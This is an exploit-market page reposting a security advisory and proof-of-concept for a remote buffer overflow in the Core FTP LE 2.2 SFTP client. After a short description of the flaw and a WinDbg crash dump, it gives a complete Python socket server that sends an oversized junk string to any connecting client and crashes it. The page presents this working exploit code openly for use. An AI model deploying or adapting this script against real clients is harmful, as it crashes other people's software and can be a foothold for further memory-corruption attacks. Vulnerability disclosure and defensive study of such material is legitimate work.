[ authorization ] [ registration ] [ restore account ]
Contact us
You can contact us by:
0day Today Exploits Market and 0day Exploits Database

Core FTP LE 2.2 - SSH/SFTP Remote Buffer Overflow (PoC) Exploit

Author
hyp3rlinx
Risk
[
Security Risk Medium
]
0day-ID
0day-ID-26418
Category
dos / poc
Date add
27-11-2016
Platform
windows
[+] Credits: John Page aka hyp3rlinx
 
Vendor:
===============
www.coreftp.com
 
 
 
Product:
========================
Core FTP LE (client)
v2.2 build 1883
 
Core FTP LE - free Windows software that includes the client FTP features
you need. Features like SFTP (SSH), SSL, TLS, FTPS, IDN,
browser integration, site to site transfers, FTP transfer resume, drag and
drop support, file viewing & editing, firewall support,
custom commands, FTP URL parsing, command line transfers, filters, and
much, much more.
 
 
 
Vulnerability Type:
================================
Remote SSH/SFTP Buffer Overflow
 
 
 
CVE Reference:
==============
N/A
 
 
 
Vulnerability Details:
=====================
 
Core FTP client is vulnerable to remote buffer overflow denial of service
when connecting to a malicious server using
SSH/SFTP protocol.
 
Upon receiving an overly long string of junk from the malicious FTP server
response, Core FTP crashes and the stack
is corrupted with several registers EBX, EDX, EDI being overwritten as can
be seen below.
 
WinDbg dump...
 
(d9c.16d8): Access violation - code c0000005 (first/second chance not
available)
eax=035b0000 ebx=00004141 ecx=03ac7e40 edx=41414141 esi=03ac7e38
edi=41414141
eip=77313ac3 esp=0439fa10 ebp=0439fae0 iopl=0         nv up ei pl nz ac pe
nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b
efl=00010216
ntdll!RtlImageNtHeader+0x92f:
77313ac3 8b12            mov     edx,dword ptr [edx]
 ds:002b:41414141=????????
 
 
 
 
Exploit code(s):
===============
 
import socket
 
print 'hyp3rlinx - Apparition Security'
print 'Core FTP SSH/SFTP Remote Buffer Overflow / DOS\r\n'
host='127.0.0.1'
 
port = 22
s = socket.socket()
 
payload="A"*77500
s.bind((host, port))
s.listen(5)
 
print 'Listening on port... %i' %port
print 'Connect to me!'
 
while True:
    conn, addr = s.accept()
    conn.send(payload+'\r\n')
    conn.close()

#  0day.today [2024-07-05]  #